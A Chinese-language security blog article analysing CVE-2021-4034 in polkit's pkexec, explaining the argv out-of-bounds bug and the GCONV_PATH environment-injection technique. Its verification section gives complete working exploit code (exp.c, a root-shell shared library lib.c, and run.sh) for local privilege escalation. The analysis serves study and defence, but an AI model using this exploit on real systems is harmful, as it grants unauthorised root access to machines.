<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2021-4034分析

    VSole2023-08-28 09:45:48
    一
    漏洞介紹
    

    在 polkit 的 pkexec 工具中發現的本地權限升級漏洞,pkexec 應用程序是一個 setuid 工具,旨在允許非特權用戶按照預定義策略以特權用戶身份運行命令。當前版本的 pkexec 無法正確處理調用參數個數,并試圖將環境變量作為命令執行。攻擊者可以利用這一點,精心設計環境變量,誘使 pkexec 執行任意代碼。成功執行后,該攻擊可導致本地權限升級,賦予未授權用戶在目標計算機上的管理權限。

    二
    漏洞分析
    

    polkit

    漏洞代碼(v0.120):

    ......
    for (n = 1; n < (guint) argc; n++)
        {
             ......
        }
        ......
      g_assert (argv[argc] == NULL);
      path = g_strdup (argv[n]);
        if (path == NULL)
        .....
        }
      if (path[0] != '/')
        {
          /* g_find_program_in_path() is not suspectible to attacks via the environment */
          s = g_find_program_in_path (path);
          if (s == NULL)
            {
              g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
              goto out;
            }
          g_free (path);
          argv[n] = path = s;
        }
    

    漏洞邏輯如下:

    1.polkit在處理argv的時候,n是從1開始計數的,for循環結束后path變量被賦值為了g_strdup (argv[n]);,如果傳遞的參數個數為0(即argv={ NULL}),這里就會有一個數組越界。而眾所周之,argv和envp是連著的:

    所以數組越界會取到envp[0]的值并賦值給path

    2.接下來如果path[0] != '/',程序就會調用函數g_find_program_in_path來找到path的路徑,g_find_program_in_path會從環境變量PATH中尋找目錄,并查看目錄中有沒有path文件,如果某個目錄中有path文件就返回"目錄名/文件名"。比如用戶設置envp[0]為"sh",g_find_program_in_path就會從環境變量PATH中尋找目錄,尋找到目錄"/bin"的時候,發現目錄下有文件"sh",此時g_find_program_in_path就會返回"/bin/sh"。

    3.接下來程序會把得到的"路徑/文件名"寫回argv[n],同理如果argv={ NULL}程序就會把得到的值寫到envp[0]中。

    所以漏洞可以做到一個越界寫,解析出envp[0]在環境變量PATH中的路徑,并將"路徑/envp[0]"寫回envp[0]。

    Linux下的目錄

    Linux下的目錄中可以帶有特殊符號,可以完成許多奇怪的操作,比如下面這個:

    所以可以給目錄起名叫做"TEST=.",也可以指定環境變量PATH="TEST=.",所以如果指定polkit的PATH="TEST=.",并在目錄"TEST=."下新建文件"test",同時將envp[0]設置為test的話:

    1.數組越界會取到"test"的值并賦值給path。

    2.path[0] != '/',程序就會調用函數g_find_program_in_path找"test"的路徑。

    3.g_find_program_in_path函數從環境變量PATH中找到了目錄"TEST=.",并在目錄下找到了文件"test"。

    4.g_find_program_in_path將"TEST=./test"返回,程序將"TEST=./test"寫入envp[0]。

    通過這個技巧,我們達到了利用數組越界漏洞完成環境變量注入的目的操作。

    LD_PRELOAD&GCONV_PATH

    要通過環境變量完成提權,最方便的就是劫持程序加載的libc,執行用戶自己寫的函數。

    環境變量LD_PRELOAD就可以指定glibc的位置,使用戶可以為某個二進制程序指定運行特定版本或者自己編譯的libc,但是有SUID-bit的二進制程序在啟動的時候不吃這個環境變量,那通過這個漏洞是不是可以將LD_PRELOAD注入polkit進程中進而劫持其glibc呢?很遺憾,在二進制程序正常運行的時候,glibc已經加載完成了,這時候指定LD_PRELOAD不會有任何作用。

    所以要用到環境變量GCONV_PATH,該環境變量能夠使glibc使用用戶自定義的gconv-modules文件,而gconv-modules可以指定帶有函數gconv()和gonv_init()的libc文件。在polkit源碼中,多次使用了g_printerr函數進行報錯,如果環境變量CHARSET不是UTF-8,g_printerr()將會調用函數iconv_open()來轉換編碼,此時iconv_open就會去根據環境變量GCONV_PATH尋找gconv-modules,并找到gconv-modules指定的libc文件,調用其中的gconv()與gonv_init()。

    g_printerr()調用iconv_open()的路徑為:

    g_printerr
        -> g_default_printerr_func
            -> print_string
             -> strdup_convert
             	-> g_convert_with_fallback
             		-> g_convert
             			-> open_converter
             				-> g_iconv_open
             					-> try_conversion
             						-> iconv_open
    

    gconv-modules格式如下:

    module 字符集1// 字符集2// libc名字 cost
    

    漏洞利用

    當程序中shell的環境變量為無效shell時就會觸發g_printerr的報錯:

    所以利用步驟為:

    1.創建目錄'GCONV_PATH=.'

    2.在目錄'GCONV_PATH=.'下創建文件pwnkitdir

    3.創建目錄'pwnkitdir'

    4.在目錄下創建文件gconv-modules,寫入內容"module UTF-8// PWNKIT// pwnkit 1"

    5.編寫c代碼,編寫名為gconv_init()的提權函數或者編寫帶有__attribute__ ((constructor))修飾的提權函數,編譯為pwnkit.so,放在gconv-modules同級目錄

    6.編寫c代碼,用來運行pkexec,將argv設為{ NULL},a_envp設置為

    char * envp[] = {        "pwnkitdir",        "PATH=GCONV_PATH=.",        "CHARSET=PWNKIT",        "SHELL=xxx",        NULL};
    

    并編譯運行即可獲得rootshell。

    三
    漏洞驗證
    

    exp.c:

    #include <stdio.h>
    #include <unistd.h>
    int main(int argc, char **argv)
    {
            char * const a_argv [] = { NULL};
            char * const a_envp[] = {
                    "pwnkitdir",
                    "PATH=GCONV_PATH=.",
                    "CHARSET=PWNKIT",
                    "SHELL=xxx",
                    NULL
            };
            execve("/usr/local/bin/pkexec", a_argv, a_envp);
    }
    

    lib.c:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    static void __attribute__ ((constructor)) exp(void);
    static void exp(void)
    {
            setuid(0); seteuid(0); setgid(0); setegid(0);
            static char *a_argv[] = { "sh", NULL };
            static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
            execve("/bin/sh", a_argv, a_envp);
    }
    

    run.sh:

    mkdir 'GCONV_PATH=.'
    touch 'GCONV_PATH=./pwnkitdir'
    chmod 777 'GCONV_PATH=./pwnkitdir'
    mkdir pwnkitdir
    touch pwnkitdir/gconv-modules
    echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
    gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
    gcc exp.c -o exp
    

    運行run.sh完成exp利用的前置環境搭建,切換為普通用戶:

    運行exp,完成提權。

    環境變量linux環境變量
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Linux 環境變量配置匯總
    disable_functionsdisable_functions是php.ini中的一個設置選項,可以用
    Part1 前言 大家好,我是ABC_123,不知不覺,我一個人已經連續寫了51篇原創文章了。本期復盤一次
    本文介紹了 12 個優化 Docker 鏡像安全性的技巧。每個技巧都解釋了底層的攻擊載體,以及一個或多個緩解方法。這些技巧包括了避免泄露構建密鑰、以非 root 用戶身份運行,或如何確保使用最新的依賴和更新等。
    在cgiHandler函數中,將用戶的HTTP請求參數作為環境變量,通過諸如LD_PRELOAD即可劫持進程的動態鏈接庫,實現遠程代碼執行。代碼首先拼接出用戶請求的cgi完整路徑并賦予cgiPath,然后檢查此文件是否存在以及是否為可執行文件。隨后代碼將cgiPath、envp、stdIn與stdOut作為參數傳入launchCgi函數中。
    查命令絕對路徑: which用于查找并顯示給定命令的絕對路徑,環境變量中PATH參數也可以被查出來。
    雖然平時大部分工作都是和網絡相關, 但會接觸Linux系統, 尤其是使用了Mac之后, 每天都是工作在黑色背景的命令行環境中. 自己記憶力不好, 很多有用的Linux命令不能很好的記憶, 現在逐漸總結一下, 以便后續查看。基本操作Linux 關機,重啟#?查看當前用戶環境變量。查看有幾顆cpu,每顆分別是幾核。
    Linux比較麻煩的就是很多東西都要用命令來控制,當然,這也是很多人喜歡它的原因,比較短小但卻功能強大。
    騰訊云安全運營中心監測到, Linux Polkit 被曝出存在權限提升漏洞,漏洞編號CVE-2021-4034。可導致惡意用戶權限提升等危害。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类